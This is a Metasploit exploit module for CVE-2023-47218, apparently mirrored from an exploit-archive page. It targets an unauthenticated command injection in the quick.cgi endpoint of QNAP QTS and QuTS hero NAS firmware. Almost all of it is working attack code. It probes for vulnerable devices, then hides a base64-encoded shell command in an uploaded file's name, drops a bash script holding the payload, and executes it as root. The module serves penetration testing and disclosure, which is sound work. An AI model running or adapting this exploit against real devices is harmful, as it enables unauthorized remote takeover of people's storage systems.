Share
## https://sploitus.com/exploit?id=PACKETSTORM:177246
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi',  
'Description' => %q{  
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and  
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage  
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.  
  
The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.  
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used  
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully  
initialized, the quick.cgi component is disabled on the system.  
  
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command  
injection, allowing the attacker to execute arbitrary commands on the device.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # CVE discovery, MSF module, Rapid7 Blog  
'Spencer McIntyre', # Assistance  
'jheysel-r7' # Docs  
],  
'References' => [  
['CVE', '2023-47218'],  
['URL', 'https://www.qnap.com/en/security-advisory/qsa-23-57'],  
['URL', 'https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed']  
],  
'DisclosureDate' => '2024-02-13',  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Targets' => [ [ 'Default', {} ] ],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false,  
'FETCH_WRITABLE_DIR' => '/mnt/update'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/cgi-bin/quick/quick.cgi',  
'vars_get' => {  
'func' => Rex::Text.rand_text_alphanumeric(8)  
}  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
return CheckCode::Safe('Received HTTP status code: 404. This indicates the device is not vulnerable.') if res.code == 404  
  
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200  
  
# This is the content data we get back from a vulnerable system (testing firmware TS-X64_20230926-5.1.2.2533):  
  
# <?xml version="1.0" encoding="UTF-8"?>  
# <Storage>  
# <Result>failure</Result>  
# <Errcode>801</Errcode>  
# <Errmsg>  
# No Parameter.  
# </Errmsg>  
# </Storage>  
  
return Exploit::CheckCode::Detected if res.body.include? '<Result>failure</Result>'  
  
CheckCode::Unknown  
end  
  
def exploit  
# XXX: the command injection has a limit of 127 characters, so we drop our payload to a file and then execute that file.  
bootstrap_file = Rex::Text.rand_text_alphanumeric(8)  
  
bootstrap_script = [  
'#!/bin/bash',  
payload.encoded  
].join("\n")  
  
upload_file(bootstrap_file, bootstrap_script)  
register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")  
execute_command("bash #{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")  
end  
  
def execute_command(cmd)  
cmd_injection_filename = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d))\""  
  
upload_file(Rex::Text.uri_encode(cmd_injection_filename), Rex::Text.rand_text_alphanumeric(8))  
register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{cmd_injection_filename}")  
end  
  
def upload_file(file_name, file_data)  
if file_name.length > 127  
fail_with(Failure::BadConfig, "The upload file name is too long (#{file_name.length}), must be < 128 bytes.")  
end  
  
data = Rex::MIME::Message.new  
data.add_part(file_data, 'text/plain', 'binary', "form-data; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{Rex::Text.rand_text_alphanumeric(8)}\"; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{file_name}\"")  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => '/cgi-bin/quick/quick.cgi',  
'vars_get' => {  
'func' => 'switch_os',  
'todo' => 'uploaf_firmware_image'  
},  
'headers' => {  
'User-Agent' => 'Mozilla Macintosh'  
},  
'ctype' => "multipart/form-data;boundary=\"#{data.bound}\"",  
'data' => data.to_s  
)  
end  
end